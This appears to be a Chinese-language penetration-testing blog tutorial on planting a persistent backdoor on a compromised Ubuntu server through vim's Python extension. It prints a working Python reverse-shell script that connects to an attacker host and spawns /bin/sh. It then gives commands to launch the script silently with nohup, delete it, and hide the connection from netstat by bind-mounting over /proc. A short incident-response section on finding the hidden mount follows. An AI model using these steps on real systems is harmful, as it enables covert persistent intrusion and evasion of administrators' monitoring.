一、本教程作用
1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防
二、vim+python文件后门-教程
前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu 20.04)
攻击IP: 192.168.241.128 (kali)
查看 Ubuntu 20.04 的 vim 支持情况:
可以得知 vim 支持 python3

注意:
如果服务器没有安装 python应用,可以通过vim编辑器启动python程序,因为如今的vim编辑器为了更好的支持python语言,默认是安装了python扩展,通过vim的python扩展,也可以去启动一个python程序。可通过“vim --version”查看是否已支持python扩展,如上图所示。
2.1python 文件后门
反弹shell的python脚本:
import socket, subprocess, os;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("192.168.241.128", 6666));os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);p = subprocess.call(["/bin/sh", "-i"]);
其实就是用python编写的一个简单的socket服务器端
2.1.1 将反弹shell的python脚本 shell.py 传到靶机
将反弹shell的python脚本 shell.py 传到靶机,放在桌面目录下

2.2 反弹 shell
kali 打开监听

靶机执行命令:vim -E -c "py3file shell.py"
-E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。

执行完之后靶机命令行界面就会一片空白如下图所示,属正常现象,此时关闭靶机命令行界面,也不会影响已经反弹回去的shell

此时 kali 接收到反弹的 shell

此时查看靶机上的连接,可以看到可疑的 vim 连接

但是这样的后门太明显了,netstat -anpt 一查就可以看到,而且 vim -E -c “py3file shell.py” 命令执行之后,还会有一个空白窗口。
2.3 隐藏后门
在上述反弹 shell 的过程中为了更好的隐藏后门,从以下两点出发:
1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口
2、将netstat -anpt 查看到的可疑连接隐藏起来
1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口,解决方法:
(nohup vim -E -c "py3file shell.py"> dev/null 2>&1 &)#将nohup的执行结果输出到/dev/null中#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

2、将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py
接下来要把这个可疑连接隐藏起来

mkdir nullmount --bind null proc/6238netstat -anpt#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

三、vim 后门——应急响应发现
查看可疑连接,发现有一个 TCP三次握手都已经 ESTABLISHED (成功连接)的,但是没有PID和进程名,而且连接的地址也不正常
netstat -anpt

猜测肯能是被挂载隐藏了
那么可以使用命令:cat /proc/$$/mountinfo
查看系统所有挂载文件系统的信息

在查看的最下面发现了可疑挂载
1290 25 8:5 /root/null /proc/6238 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro1351 25 8:5 /root/null /proc/6240 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro

然后使用umount命令,取消对 6238、6240 的挂载,确认该进程是否为恶意进程。
umount /proc/6238umount /proc/6240

查看pid 6238 执行的命令,是后门执行的命令
ps aux | grep 6238

全盘查找 shell.py 文件,发现已经被黑客删除

终止掉进程,后门清除成功!
kill -9 6238kill -9 6240


更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥





